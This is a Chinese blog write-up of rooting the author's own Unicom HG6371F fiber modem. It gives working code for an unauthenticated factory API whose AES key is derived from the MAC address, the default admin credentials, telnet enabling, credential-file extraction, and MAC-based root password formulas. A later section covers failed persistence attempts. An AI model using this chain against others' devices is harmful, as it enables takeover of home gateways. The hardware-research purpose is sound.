上一台联通 HG6371F 从猫,我写了篇拆解,把壳子里的芯片一粒粒认了一遍。但拆解只能看到硬件,看不到系统——那篇文章里留了三个“待查证”:主控到底几个核、内存到底多大、PON 那边怎么接的。

这篇就是去把这些问号一个个划掉的过程。说直白点:我要拿到这台猫的 root shell。不是拆机接 TTL 那种,全程只用一台连在同一个 WiFi 下的 Windows 电脑,一根网线都不用动。

先给结论,免得你看到一半不知道我要干什么:这台机器有一整套完整的软件攻破链路,而且每一步都能复现。大致分五步——先拿到 Web 超管,再摸到一个完全不做认证的出厂调试接口,用它把 telnet 服务打开,然后从设备里读出一个叫 telsu 的凭据文件,最后把这串密码的生成规则倒推出来。最讽刺的一点是:这个 root 密码不是随机的,它是由设备自己的 MAC 地址算出来的。知道 MAC 就等于知道密码。

我得先把话说在前面。这台盒子是我自己的,折腾它不涉及任何别人的设备。下面写出来的接口名、参数、公式,都请你只对着自己的设备用。运营商的光猫是入网设备,改动它可能违反和运营商的服务约定,也可能影响装维上门维修——这一点你自己掂量。另外文中所有 MAC、序列号、以及跟设备一一对应的口令实参,我都换成了占位符,公式本身是完整的,你把你自己设备的值代进去就能算。

如果你不想看“长篇大论”的技术分析文章的话,可以直接翻到后面找到对应的工具,工具直接就能提取到光猫超密和telnet账号密码,用这个再去登录,实测同型号的100%成功!

先说清底线:这台机器的公开信息其实不难找

联通定制光猫的超级管理员口令,圈子里几乎是公开的——联通版统一是 CUAdmin,密码也是 CUAdmin,除非装维师傅上门时改过。移动版是 CMCCAdmin 那一套,电信又是另一个名字。你随便搜“联通光猫 超管 密码”,第一个结果里就有。(我拆过的另一台联通光猫 HG3142F 拆解在这,硬件路线不同,套路一样。)

所以第一步严格说算不上“破解”,更像是“确认一下出厂口令有没有被改”。但它有个坑,我在这上面卡了很久,单独说一下。

这台机器的登录接口有个硬性要求:请求里带一个叫 tkn 的参数,它必须和 HTTP 请求头的 User-Agent 一模一样。不一致会怎么样?服务端不报错、不拒绝、不给你任何错误提示,它就静静地回一个 {"random_string":"..."},把你的真实数据全藏起来。很多现成的脚本一跑到这台设备上就“哑火”,返回一堆看不懂的随机串,根子就在这。

这个机制是从前端 JS 里看出来的。xhr.js 里明明白白写着一行:

requestURL += '&tkn=' + navigator.userAgent;

它就是把浏览器的 User-Agent 原样拼到 URL 里当令牌用。这个设计的本意大概是防 CSRF——伪造的请求带不上正确的 UA——但实际上等于没设防,因为 UA 谁都能自己填。你只要保证发出去的 UA 和 tkn 是同一个字符串就行。

下面这段是我实际用的侦察命令。注意先定一个 UA 变量,后面全程用同一个值:

UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'

# 未授权就能读的设备情报,连密码都不用
curl -sS -A "$UA" \
  "http://192.168.2.1/cgi-bin/ajax?ajaxmethod=get_username&tkn=$UA"

返回里会直接告诉你超管叫什么、普通用户叫什么、省份是哪:

admin_user: CUAdmin
common_user: user
area_code: Guangdong
operators_code_ex: FTTR_SUB

看到 admin_user: CUAdmin 这一行,超管账号就到手了。你没看错,这个接口不需要登录,任何人连上这台猫的 WiFi 都能读。接下来登录,密码字段是 loginpd,值是明文的 SHA256——注意是先算摘要再传,不是明文:

# loginpd = sha256(明文),小写十六进制
LOGINPD=$(printf '%s' 'CUAdmin' | sha256sum | cut -d' ' -f1)

curl -sS -A "$UA" -b ck.txt -c ck.txt -X POST \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'ajaxmethod=do_login' \
  --data-urlencode 'username=CUAdmin' \
  --data-urlencode "loginpd=$LOGINPD" \
  --data-urlencode "tkn=$UA" \
  'http://192.168.2.1/cgi-bin/ajax'

返回值里 login_result: 0 就是成功。这里顺带记一下错误码,后面有用:0 成功、4 账号或密码错、2 触发限速。这台机器连续错 3 次会锁 60 秒,别猛试。

到这里,Web 超管就到手了。但Web 后台能改的东西其实很有限——它是个桥接模式的从机,大部分无线参数被主猫托管着,改不动。真正有意思的东西,藏在另一个完全没人提过的地方。

联通 HG6371F 光猫用 CUAdmin 账号登录 Web 后台,进入设备管理→用户管理页面
实测证实:用 CUAdmin / CUAdmin 出厂口令登录联通 HG6371F 光猫 Web 后台,进入「设备管理 → 用户管理」,页面右上角显示当前登录用户为 CUAdmin。

转折点:一个不做任何认证的出厂接口

我在翻这台机器的 Web 目录结构时,注意到一个叫 /fh_tool/ 的路径。fh 是 FiberHome,烽火的缩写。/fh_tool/api 这个端点,是整个故事真正的支点。

它长这样:你往它发一段加密的 JSON,它返回一段加密的 JSON。看起来像是有些安全设计对吧?问题在于——它的加密密钥,完全是由设备自己的 MAC 地址算出来的,不带任何密码。

而 MAC 地址,你随便在同网段敲个 arp -a 就能拿到。所以这个“加密”,等价于没有认证。

推导规则我完整地写在这里。三个公式,逐字复现:

# 输入:MAC 地址,大写、去掉冒号和横杠,例如 MAC_ADDR
d   = sha256(MAC).hexdigest()                # 64 位小写十六进制
key = ''.join(d[2*i + 2] for i in range(16)) # 16 个 ASCII 字符
iv  = ''.join(d[3*i + 3] for i in range(16)) # 16 个 ASCII 字符

# 请求体 = Base64( AES-128-CBC( PKCS#7( JSON ) ) )
# 用 key/iv 加密,POST 到 /fh_tool/api,Content-Type: text/plain
# 响应同法解密

为什么是 [2i+2] 和 [3i+3] 这种取法?说白了就是从 SHA256 摘要的十六进制串里,隔一个字符挑一个、隔两个字符挑一个,各凑够 16 个字符当 key 和 iv。这是个很典型的“看着很随机、其实就是随手定了个步长”的实现,谈不上什么密码学设计。

PowerShell 里实现一遍大概是这样(Windows 自带,不需要装任何东西):

$mac  = 'MAC_ADDR'
$sha  = [System.Security.Cryptography.SHA256]::Create()
$d    = ($sha.ComputeHash([Text.Encoding]::ASCII.GetBytes($mac)) |
         ForEach-Object { $_.ToString('x2') }) -join ''
$key  = -join (0..15 | ForEach-Object { $d[2 * $_ + 2] })
$iv   = -join (0..15 | ForEach-Object { $d[3 * $_ + 3] })

function Fh([string]$func, [hashtable]$extra) {
    $o = [ordered]@{ index = '1'; func = $func }
    if ($extra) { foreach ($k in $extra.Keys) { $o[$k] = $extra[$k] } }
    $json = ($o | ConvertTo-Json -Compress)

    $aes = [System.Security.Cryptography.Aes]::Create()
    $aes.Mode = 'CBC'; $aes.Padding = 'PKCS7'
    $aes.Key  = [Text.Encoding]::ASCII.GetBytes($key)
    $aes.IV   = [Text.Encoding]::ASCII.GetBytes($iv)

    $ct  = $aes.CreateEncryptor().TransformFinalBlock(
             [Text.Encoding]::UTF8.GetBytes($json), 0, $json.Length)
    $raw = curl.exe -s -H 'Content-Type: text/plain' -H 'Connection: close' `
             --data-binary ([Convert]::ToBase64String($ct)) 'http://192.168.2.1/fh_tool/api'
    if (-not $raw) { return 'EMPTY' }
    $b = [Convert]::FromBase64String($raw.Trim())
    [Text.Encoding]::UTF8.GetString($aes.CreateDecryptor().TransformFinalBlock($b, 0, $b.Length))
}

有了这个 Fh 函数,就等于有了一把万能钥匙。第一枪打出去,我试的是最普通的那个:

Fh 'GetDevInfo' @{}
# 返回:完整设备档案,MAC、SN、固件版本、硬件版本、编译时间……

Fh 'GetAdminAccount' @{}
# 返回:{"adminname":"CUAdmin","adminpwd":"CUAdmin"}

第二行值得停一下。这个接口直接把 Web 超管的明文账号密码吐给你,连登录都不用。也就是说,前面那一大段分析 UA 和 tkn 的功夫,绕开它照样能拿超管——只是那个接口告诉你“是什么”,这个接口直接告诉你“输什么”。

靠响应差异,让设备自己告诉我它有哪些功能

拿到了能调用任意函数的通道,下一步自然是问:它到底支持哪些函数?

这台设备没有文档,没有接口列表,前端 JS 里也搜不到完整的函数名。但它有个很可爱的特性——不同情况下的响应不一样,能当探针用:

响应含义
{"result":0}函数存在,且参数正确,执行成功
{"result":-1}函数存在,但参数不对
空响应函数不存在

这三档差异,等于给了我一个“函数名 oracle”。我写了个脚本,把能想到的名字一个个灌进去,看返回是哪一档。很快,可用函数的清单就出来了:

TelnetEnable            # 开关 telnet 服务 ← 就是它
UploadPrepare           # 签发上传令牌,且不绑定来源 IP
GetAdminAccount         # 明文吐超管凭据
GetPreconfig            # 34 个省份的预配置清单
SetPreconfig            # 切换省份预配置 ← 有副作用,后面细说
RestoreDefaultSettings  # 恢复出厂设置
GetDevInfo / GetResult / LogDownload / OpenFHDebugLog
DownloadFile            # 按白名单读设备里的文件

TelnetEnable。看到这四个字的时候我就知道这条路走通了。

但比“发现了什么”更有价值的,是“确认了没有什么”。我把一百多个候选函数名扫了一遍,下面这些全是空响应——不存在:

任意文件写:  UploadFile  WriteFile  PutFile  SaveFile  SetFile
             CopyFile  DeleteFile  RemoveFile  ImportFile
配置读写:    SetConfig  SaveConfig  GetConfig  RestoreConfig
命令执行:    ExecCommand  RunCommand  Command  Shell  GetShell
telnet 凭据: SetTelnetPassword  SetTelnetInfo  GetTelnetPassword
             SetTelsu  SetSuPassword  SetRootPassword
系统信息:    GetMemoryInfo  GetFlashInfo  GetCpuInfo

这组否定结论,直接决定了后面所有的路线选择。因为我原本的如意算盘是:既然能开 telnet,那就找个改密码的接口,或者干脆写个文件进去。但这两条路都堵死了——没有任意文件写,也没有任何读写 telnet 凭据的接口。所以我只能开着 telnet 干瞪眼,先想办法搞到登录口令。

顺便说 DownloadFile 这个接口,它是后面读凭据的关键。它能读 /var/ 和 /fhconf/ 下面已经存在的文件,但 /proc/、/fhrom/ 被专门拦掉了,所有 ../ 穿越变体也一并拒绝。它返回一个下载链接,看着是 .tar.gz:

Fh 'DownloadFile' @{ fileName = '/var/telsu' }
# -> {"Dowloadurl":"/fh_tool/tool_download?XXXXXXXX.tar.gz","result":0}

curl -s -o dump.tar "http://192.168.2.1/fh_tool/tool_download?XXXXXXXX.tar.gz"
tar -xf dump.tar      # 注意:不是 -xzf

那个 .tar.gz 是骗人的,里面其实是没压缩的 tar,用 tar -xf 解就行。我第一次用 -xzf,报“invalid magic”,还以为是文件坏了,白折腾了一轮。

把 telnet 开起来,然后卡在登录框上

开 telnet 就一行:(顺便挂一个:之前折腾华为 V175 光猫开 telnet,走的是完全不同的路子——补全 shell 刷公版固件,和这台靠出厂接口硬开正好是两种思路。)

Fh 'TelnetEnable' @{ telnet = '1' }
# -> {"result":0}

发完这条,TCP/23 立刻就监听了。连上去看到的是:

Login:
Password:

好,然后就是一段让人的血压升高的经历。我手里有 Web 超管口令 CUAdmin,有设备标签上的普通用户口令,有网上能搜到的一堆烽火默认口令——全试了一遍,一个都不对。

telnet 这边有个特点:密码错了它会回一个 Error!,然后把 Login: 再弹一遍。也就是说它不告诉你用户名对不对,只告诉你这个组合不对。你甚至不知道 admin 这个用户名是不是存在的。

试过的组合我记了一部分,全是密码错误:

用户名密码来源结果
telnetadmin网上搜的烽火默认密码错误
telnetadmin默认口令 + MAC 后 6 位密码错误
adminWeb 超管 CUAdmin密码错误
rootfiberhome / hg2x0密码错误
CUAdmin各种密码错误

到这一步,通常的思路是“上爆破”。我确实试了 6 位纯数字,跑了 20 万次(000000 到 199999),没命中,按这个速度跑满一百万种大概要两个多小时。但我不想这么干,因为我不确定它是不是纯数字——如果密码里带字母,百万级爆破就是个笑话。

我决定换个思路:不猜密码,去找密码本身。

凭据文件:它把 root 密码明明白白写在了一个文件里

烽火的固件里,有一个专门给 telnet 提权用的凭据文件,路径是 /var/telsu。telsu 就是 telnet su 的缩写——这个名字本身就说明了它是干什么的。

前面那个 DownloadFile 正好能读 /var/。于是:

Fh 'DownloadFile' @{ fileName = '/var/telsu' }
curl -s -o telsu.tar "http://192.168.2.1/fh_tool/tool_download?XXXXXXXX.tar.gz"
tar -xf telsu.tar
cat var/telsu

解开之后,里面就一行:

root:$5$fh$<HASH_BODY>:0:0:Telnet user:/var:/bin/ash

这是标准的 passwd 格式,拆开看:

  • root 是用户名,提权的目标就是 root。
  • $5$fh$... 是密码的哈希。$5$ 表示 SHA256-crypt,fh 是盐——FiberHome 的缩写,这个盐值本身就把厂商供出来了。
  • 0:0 是 uid/gid,都是 0,即超级用户。
  • 最后是 shell 路径 /bin/ash,一个 busybox 的 shell。

但哈希不等于密码。这是 SHA256-crypt(5000 轮),硬算是能算,但没有 GPU 或者不写个专门的工具,纯 CPU 一个一个试效率很低。我需要的不是算力,是那条生成规则。

决定性的一步:证明它是“固定值”而不是“随机值”

写到这我得强调一下,这一步是我整个流程里最关键的一个判断,也是从“暴力破解”转向“找公式”的分水岭。

当时我面前有两种可能:

  • 可能一:这个密码是运行时随机生成的。每次开机都换一个,跟设备无关。如果是这样,那个哈希就是个死胡同,你只能硬碰运气。
  • 可能二:这个密码是由某个固定值(比如 MAC、序列号)算出来的。如果是这样,只要找到公式,任何一台同型号设备都能算。

怎么区分这两种?我想了个办法:让它恢复出厂设置,然后看这个文件变不变。恢复出厂会把设备打回最原始的状态,如果是随机生成的,那出厂重置后重新生成的密码大概率就变了;如果是固定规则算出来的,它应该纹丝不动。

Fh 'RestoreDefaultSettings' @{}
# 然后重新下载 /var/telsu 比对

结果很干净:文件里的哈希,一个字符都没变。MAC 没变,超管账号也还是 CUAdmin。

这就把问题从“爆破一个随机密码”变成了“找一个由 MAC 决定的公式”。难度直接降了一个数量级。

事后补充一句:这个“恢复出厂对比法”虽然有效,但它不是没有代价的,我犯了个操作失误(详见后面“踩坑”那一节)。如果你要复现这个判断,务必要事先想清楚这步的风险,而不是像我一样先斩后奏。

公式自证:不用信我,你自己用哈希核一遍

确定是公式之后,我去社区找线索。chinadsl.net 上有针对同固件家族的分析,作者是反编译固件里的 serviceMgr 二进制得出的,结论大概是这么几条:

电信版 su 密码 = "Fh@" + MAC 大写后 6 位
移动版 su 密码 = "hg2x0" + MAC 大写后 6 位
移动版登录     = 用户名 admin / 密码 "Fh@" + MAC 大写后 6 位

但我不打算直接信这个。社区经验文经常互相抄,抄错一个字符就全盘报废,而且不同版本之间规则也不一样。我有现成的哈希,为什么不自己验一遍?

台机器上有 openssl,它自带 SHA256-crypt 的实现,正好拿来当验证器。思路很简单:把我猜的密码用同样的盐(fh)算一遍哈希,和文件里的逐字符比对,对上了就是它。

# 目标哈希,从 /var/telsu 里读到的
TARGET='$5$fh$<HASH_BODY>'

MAC_ADDR='MAC_ADDR'
LAST6=${MAC_ADDR:6}          # 取 MAC 最后 6 个字符

for cand in "hg2x0${LAST6}" "Fh@${LAST6}" "hg2x${LAST6}"; do
    h=$(openssl passwd -5 -salt fh "$cand")
    if [ "$h" = "$TARGET" ]; then
        echo "HIT: $cand"
    fi
done

跑出来的那一刻,我盯着屏幕看了一会:

HIT: hg2x0<MAC 后 6 位>

命中了。也就是说,这台联通版 HG6371F 的 su 密码,就是 hg2x0 拼上 MAC 地址的最后 6 个字符,大写。这个哈希不是随便说说的——它和文件里的值完全一致,这是数学证明,不是我猜的。

顺手把登录那套也验了一下。同样的方法,telnet 的登录密码是 Fh@ 拼 MAC 后 6 位:

用户名: admin
密码:   Fh@ + MAC 大写后 6 位

所以这台机器是两套口令,千万别混用——先拿 Fh@... 登录进去,再在会话里用 hg2x0... 提权。我一开始拿着 su 密码去登录,怎么都不对,在这上面卡了好一阵。

用途用户名口令提示符
telnet 登录adminFh@ + MAC 后 6 位/tmp $
提权到 root—hg2x0 + MAC 后 6 位/tmp #

进去之后:

su
# 输入 hg2x0 + MAC 后 6 位
id
# uid=0(root) gid=0 groups=0

root shell 到手。

不过这里有个判读的坑,我踩过,必须说出来。telnet 服务端会把你的输入回显给屏幕。也就是说,你敲的密码会原样出现在你的输出里。如果读取窗口太短,你会把回显的密码误认成“登录成功了”。唯一可信的成功判据,是屏幕上出现 $ 或者 # 提示符,或者出现 Error!。不是看见自己敲的密码就算成功,那只是回显。

进了 shell,终于能把之前那三个问号划掉

拿到 root 之后,我先做了三件事——都是拆解那篇文章里没法定论的地方。

联通 HG6371F 光猫 MobaXterm telnet 会话:admin 登录后 su root 提权成功进入 shell
实测证实:MobaXterm 里 telnet 到 192.168.2.1,用 admin 登录后执行 su root,输入公式算出的口令,提示符由 /tmp $ 变为 /tmp #,已拿到 root shell。
联通 HG6371F 从光猫 telnet 执行 cat /proc/cpuinfo 的终端截图,显示 processor 0 到 2 共三个 ARMv7 核心,CPU part 0xc07
telnet 里的 /proc/cpuinfo:processor 从 0 排到 2,一共三个核,CPU part 是 0xc07,也就是 Cortex-A7

第一个是核数。网上一致的说法是“BCM68252 是双核 A7”,但 /proc/cpuinfo 里 processor 编号从 0 排到 2,是三个。CPU part 是 0xc07,ARM 官方编码里这就是 Cortex-A7,架构 v7l。为了确认不是读到了虚拟核或者别的什么,我又看了 /proc/device-tree 和编译配置——都指向三核。所以这个流传很广的“双核”说法,至少在联通这一版上是不对的。顺手记一句:拆解文里我写的是“照旧摆出两种说法”,现在可以给结论了。

联通 HG6371F 从光猫 telnet 执行 cat /proc/meminfo 的终端截图,MemTotal 显示 508012 kB,约合 512MB
telnet 里的 /proc/meminfo:MemTotal 508012 kB,约合 496MB,离标称的 512MB 很近

第二个是内存。拆解时那颗颗粒被屏蔽罩焊死罩着,看不到丝印。/proc/meminfo 给了点名分:MemTotal: 508012 kB,约合 496MB,也就是说标称的 512MB 是对的——少的十几兆是给硬件保留区和系统开销留的,正常。这样一来,拆解文里“只能信第三方说它 512MB”那句,现在坐实了容量这一半。至于到底是哪家的颗粒,屏蔽罩没剪开,我依然看不到,不做断言。

联通 HG6371F 从光猫 telnet 执行 cat /proc/mtd 的终端截图,mtd0 大小 0x10000000 即 256MB,可见 boot 与 rootfs 各两套
telnet 里的 /proc/mtd:mtd0 是 0x10000000,正好 256MB;bootfs1/rootsfs1 与 bootfs2/rootsfs2 是两套并存的系统分区

第三个是闪存。cat /proc/mtd 第一行 mtd0: 10000000,0x10000000 正好是 268435456 字节,也就是 256MB——和闪存芯片型号 25N02KVZEIR 里那个“02”完全咬合,印证了华邦那颗确实是 2Gbit。

但比容量更值得看的,是分区怎么切的。你会发现 bootfs1/rootsfs1 和 bootfs2/rootsfs2 是两套完整的系统分区,frameworka 和 frameworkb 也是成对的。这就是 A/B 双分区方案:升级的时候先往备用分区写,校验通过了再切换启动,写坏了还能退回旧的那套。

说白了,运营商设备最怕的就是升级变砖、然后师傅上门换机,双分区就是为这个准备的保险。这一块的规矩程度,比我见过的不少消费级路由器都高。

联通 HG6371F 从光猫 telnet 查看 device-tree 的终端截图,model 为 968252CREF_6371,compatible 为 brcm,bcm96855
telnet 里的 device-tree:model 是 968252CREF_6371,compatible 写的是 brcm,bcm96855

顺便看了下 device-tree,有个地方解释不了。model 写的是 968252CREF_6371,compatible 是 brcm,bcm96855——两个编号都不是“68252”。我的推测是:博通对这类家庭网关 SoC 习惯用两套编号,68252 是给客户看的销售型号(写在芯片丝印上),9685x 是它内部的平台代号(固件和 DTB 用后者)。没有官方文档佐证,仅供参考。

联通 HG6371F 从光猫 telnet 查看固件版本的终端截图,内核版本 4.19.183,image_version 为 96825GW0V_CU
telnet 里的系统版本:内核 4.19.183,编译于 2024 年 7 月 25 日,image_version 带 CU 后缀——联通定制版

固件的几个数字也顺手记下来:内核 4.19.183,编译时间 2024 年 7 月 25 日,image_version 是 96825GW0V_CU——末尾那个 CU 就是联通定制版的标记,同一套硬件卖到移动、电信就是另外的代号。编译配置里 BRCM_CHIP=6855、BRCM_BOARD_ID="96855",跟 device-tree 对得上。

有个地方我纠结了很久,也一并说清楚——这颗 SoC 在这台机器上至少有三种叫法,容易把人搞晕:芯片丝印上是 BCM68252(也是网上普遍流传的名字);固件和 device-tree 里用的是 96855 / 6855 这套平台代号;而中间件插件名里又写着一个 BCM504B32(..._arm_fiberhome_BCM504B32_F)。我的判断是这三个指同一颗芯片的不同层面:68252 是对外的销售型号,9685x 是博通内部的平台编号,504B32 则更像是方案/封装代号。没有官方文档能一锤定音,我把三个都摆出来,你看到哪个都不至于认错设备。

另外说一句刷机的事。编译配置里 SECURE_BOOT_ARCH=GEN3、BTRM_BOOT_ONLY=y,安全启动是打开的,引导链从最底层就锁死了。配合运营商签名校验,第三方固件基本没有塞进去的可能——这台机器的定位就是安安静静做个从机,别指望它变成一台能折腾的路由器。

拿到 root 之后,我想让它活过重启——结果全盘失败

上面这些都是“当场能用”的东西。但有个问题我一直没解决:这个 telnet 是 runtime 状态的,一重启就没了。我得重新跑一遍 TelnetEnable 才能再连上。对一台放在角落里的猫来说,这很烦。

所以我花了整个下半场,想把它“固化”下来——让机器每次开机自己把 telnetd 拉起来。结论先摆在这儿:没做成,而且在可见的手段里,我认为做不成。下面把这条死路完整走一遍,包括每一步为什么失败、失败的证据是什么。我觉得这部分比前面顺利的那半段更值得写,因为顺利的部分你照着抄就行,失败的部分才是真正花时间的地方。

先说清楚我要对抗的三个约束,缺一个这段都不成立:

  1. TelnetEnable 只写 runtime。发完指令 23 端口立刻监听,但你去回读配置项,它还是 0。这个开关根本没落盘。
  2. 存在一个 24 小时自动关闭的定时器。配置项叫 X_FH_TelnetForceOffTime,默认 86400 秒。也就是说,就算你手动开着,一天之后它也会自己关掉。
  3. 恢复出厂和重启都会把它打回未开启。这条最要命,因为它意味着“开了就完事”这条捷径不存在。

换句话说,我要找的是一个在开机流程里、能被我改写、且改完不会把整机搞坏的地方。这三个条件听着不难,实际找起来才发现处处是墙。

先找开机时到底是谁把 telnetd 拉起来的

拿到 shell 的好处是,这些事可以直接在机器上查。我第一件事就是搜开机脚本:

grep -rn -i telnet /etc/init.d/

命中了三处,但只有一处是真的在跑:

/etc/init.d/rcS1:73         /fhrom/bin/telnetd -L 23 -D     ← 唯一生效点
/etc/init.d/rcS2:54   #telnetd -p 23 -D                      ← 历史遗留,已被注释
/etc/init.d/rcS_debug:49    /fhrom/bin/telnetd -L 23 -D

盯着 rcS1 那一行往上翻了几行,立刻就明白了——它不是无条件执行的,它挂在一个工厂模式标志上:

if [ -e "/fhdata/factorymodeflag" ]; then
        mount -o remount,sync,rw /fhdata
        /fhrom/bin/telnetd -L 23 -D
fi

那就顺着这个标志查它的来龙去脉。翻完发现它的生命周期是这样的:rcS 第 40 行,如果 /fhdata/factory_conf 不存在就 touch 一个标志;然后 rcS1 第 29 到 41 行,如果 area_code 不是 Temp 就把它删掉;最后 rcS1 第 71 行,如果它还在,就启动 telnetd。

看起来有戏:只要把 area_code 调成 Temp,再让那个标志留下来,开机就能自动起 telnet。但我往下多读了几行,就发现这是个陷阱。

if [ -e "/fhdata/factorymodeflag" ]; then
        insmod .../extra/hnd_mfgtest.ko          ← 工厂测试驱动
else
        insmod .../extra/hnd.ko                  ← 生产驱动
fi

if [ -e "/fhdata/factorymodeflag" ]; then
        insmod .../extra/wl_mfgtest.ko ...       ← 工厂测试无线固件
else
        insmod .../extra/wl.ko ...               ← 生产无线固件
fi

这个标志不只决定 telnet,它还决定整机加载哪一套驱动。标志在位,加载的是工厂测试版无线固件;标志不在,才加载生产版的。为了一条 telnet,把整台机器的 WiFi 换成测试固件,这不划算。我直接把这条路划掉了。

到这里只剩一个选择:绕开这个标志,另找一个开机时会执行我内容的地方。于是我开始翻文件系统里到底哪些面可写。

摸底:这台机器上哪些地方是能写、而且写的能留住的

一条 mount 把所有分区摊开看了个明白:

/dev/ubiblock0_4 on /               type squashfs (ro,relatime)   ← 只读
ubi2_0 on /fhdata                   type ubifs (ro,sync,...)      ← 平时只读
ubi1_1 on /fhconf                   type ubifs (rw,sync,...)      ← 可写 + 持久
ubi1_0 on /opt/cu/apps              type ubifs (rw,sync,...)      ← 可写 + 持久
/dev/mtdblock4 on /opt/cu/framework type squashfs (ro,relatime)  ← 只读
none on /tmp                        type tmpfs (rw,...)           ← 能写但重启就丢

这张表基本定了调子。根文件系统 / 是 squashfs,只读,别想动;/tmp 能写但是内存盘,重启清零。真正“能写 + 能持久”的只有两个地方:/fhconf 和 /opt/cu/apps。所以接下来所有尝试,都只能在这两个目录里想办法。

尝试一:往 process_start_list 里加一行(失败)

在可写区 /fhconf 里,有一个文件名看起来特别对症:process_start_list——进程启动清单。名字本身就在暗示“我负责决定开机起哪些进程”。

为了确认它不是空想,我扒了一下负责读它的那个程序 sysmgr,确实在里面找到了这个文件名,而且不止一个变体:

grep -ao '/fhconf/[a-z0-9_/]*' /fhrom/bin/sysmgr | sort -u
# /fhconf/process_start_list
# /fhconf/fac_process_start_list
# /fhconf/process_monitor_list

更好的是,这个文件还在“持久化白名单”里——也就是说它的内容是被系统认可、允许写入并保留的:

filename:[process_start_list],filesize:[1],wildcard:[0];

到这一步,我的把握很大了。清单的文件名对、被 sysmgr 读、在持久化白名单里、格式我也能从现有内容推出来。于是照葫芦画瓢,追加一行,格式跟既有行保持一致:

cp /fhconf/process_start_list /fhconf/process_start_list.bak
echo 'telnetd,ready:[false],cmd:[/fhrom/bin/telnetd -L 23 -D];' >> /fhconf/process_start_list
sync
tail -2 /fhconf/process_start_list

然后重启。结果:失败。telnet 没起来。而且失败得很干脆——重启后我去连 23 端口,得到的是“积极拒绝”,也就是根本没有进程在监听。

失败不可怕,可怕的是不知道为什么失败。我一条条查下去,凑齐了三条证据,正好把这行代码为什么没用解释得明明白白。

证据一:我的改动确实留下来了。先排除“没写进去”这种低级可能:

-rw-r--r-- 1 root 0 1751 /fhconf/process_start_list   ← 从 1694 增到 1751 字节
tail -2 /fhconf/process_start_list
  faultlog_loop,ready:[false],cmd:[/fhrom/fhshell/faultlog_loop.sh &];
  telnetd,ready:[false],cmd:[/fhrom/bin/telnetd -L 23 -D];   ← 加的行还在

文件从 1694 字节长到 1751,加的那行也确确实实在末尾。文件没丢,写的动作是成功的。

证据二:设备本身是健康的。为了排除“机器没起来”这种可能,我确认了 HTTP 200、ping 通、DHCP 正常、MAC 没变。设备好好的,唯独 23 端口是“积极拒绝”——不是超时、不是被防火墙挡,而是这个端口上根本没有程序在监听。

证据三——这条是决定性的:sysmgr 根本不认识 telnetd 这个名字。

grep -ac telnetd /fhrom/bin/sysmgr          # → 0
grep -ao 'ready' /fhrom/bin/sysmgr | wc -l  # → 8

两个数字,把事情说透了。telnetd 在 sysmgr 里出现 0 次;而 ready 这个关键字只出现 8 次。这说明 sysmgr 只认它内置的那 8 个服务——它是拿清单里的名字去查一张写死在程序里的表,表里没有的名字,它直接忽略。我加的那行格式完全正确,但名字不在它的白名单里,等于没写。

顺手把改动撤了,不给设备留垃圾:

cp /fhconf/process_start_list.bak /fhconf/process_start_list
sync
rm -f /fhconf/process_start_list.bak

这一轮学到的东西:“文件可写 + 格式正确 + 程序读它”这三条,是一条 必要但不充分 的经验。真正起决定作用的是第四件事——那个程序认不认你写的名字。sysmgr 只处理内建服务,这是从外部完全看不出来的,只有把二进制翻出来数名字才能发现。

尝试二到四:把剩下的可能一条条排除

第一条路断了之后,我顺着“到底谁在管 telnet”这根线继续挖。这次找到了真正的正主:不是 sysmgr,是 serviceMgr。

for f in /fhrom/bin/serviceMgr /fhrom/bin/sysmgr; do
    printf '%s telnetd=' $f; grep -ac telnetd $f
done
# /fhrom/bin/serviceMgr telnetd=65     ← 65 处引用
# /fhrom/bin/sysmgr     telnetd=0       ← 一处没有

65 比 0。这下清楚了,前面摸 sysmgr 算是摸错了对象。serviceMgr 的符号表里,整个 telnet 子系统一览无余:

TelnetEnable  TelnetPassword  TelnetUserName  TelnetAccount  TelnetPort
TelnetLANPort TelnetWANPort  TelnetLogEnable  TelnetType
s_telnet_forceofftime                       ← 就是那个 24 小时定时器
s_telnetd_config  set_telnetd_config  system_set_telnetd_config
system_set_telnetd_config_param_cu          ← 联通版专属分支
system_telnetd_forceoff_manage              ← 24 小时倒计时管理
system_telnetd_process_init                 ← 进程初始化入口

看到这份符号表,我当时的想法是:既然有 set_telnetd_config 这种名字,那就说明它的配置是能从某个文件读的。找到那个文件,把开关写进去,不就固化了?于是又是一轮排查,结果是把剩下的路一条条走死了。

第二条路——把 telnet 配置写进 factory_conf(失败)。serviceMgr 的路径常量里确实有 /fhconf/factory_conf,看起来像是它的配置源。但把这个文件翻了个底朝天,什么也没找到:

grep -n -i telnet /fhconf/factory_conf     # 无输出
grep -n -i telnet /fhdata/factory_conf     # 无输出
uci show -c /fhconf | grep -i telnet       # 无输出

整个 /fhconf 的 uci 配置里,没有任何一项跟 telnet 有关。TelnetEnable 虽然是个正经的配置键,但没有任何落盘文件承载它——它是纯内存态,只活在 serviceMgr 的运行期里,进程一重启就归零。这也就解释了为什么前面回读它是 0:它压根就没往盘上写过。

第三条路——改开机脚本(失败)。既然启动点写死在只读的 /etc/init.d/rcS1 里,那我就试试把它变可写:

mount -o remount,rw /
# rc=0                     ← 命令自称成功
mount | grep ' / '
# 仍为 (ro,relatime)        ← 实际根本没变
touch /etc/__wtest
# WRITE_FAIL               ← 铁证

这段很典型。remount 命令返回 0,看着像成功了,但 mount 一查还是只读,实际 touch 一下立刻 WRITE_FAIL。squashfs 从设计上就不可写,remount 不报错但也不生效——这是一个很容易让人误判“我改成功了”的陷阱。

这里还有个细节,我踩过所以记一下:/etc/init.d 这个目录的权限是 drwxrwxrwx,777,看着谁都能写。但目录权限跟文件系统是否只读是两码事——你依然写不进去一个字节。权限给得再宽,也架不住底下的文件系统是只读的。

第四条路——在可写区放一个可执行脚本,等它被调起来(失败)。我换了个思路:既然不能改脚本本身,那能不能让脚本去调用一个放在可写区的文件?我提取了 serviceMgr 里所有引用的脚本路径:

grep -ao '[a-zA-Z0-9_./-]*\.sh' /fhrom/bin/serviceMgr | sort -u
# /fhrom/fhshell/keep_sending_rs.sh
# /fhrom/fhshell/voice_init.sh
# /fhrom/fhshell/whitemac_report.sh
# /var/get_ipv6_addr.sh

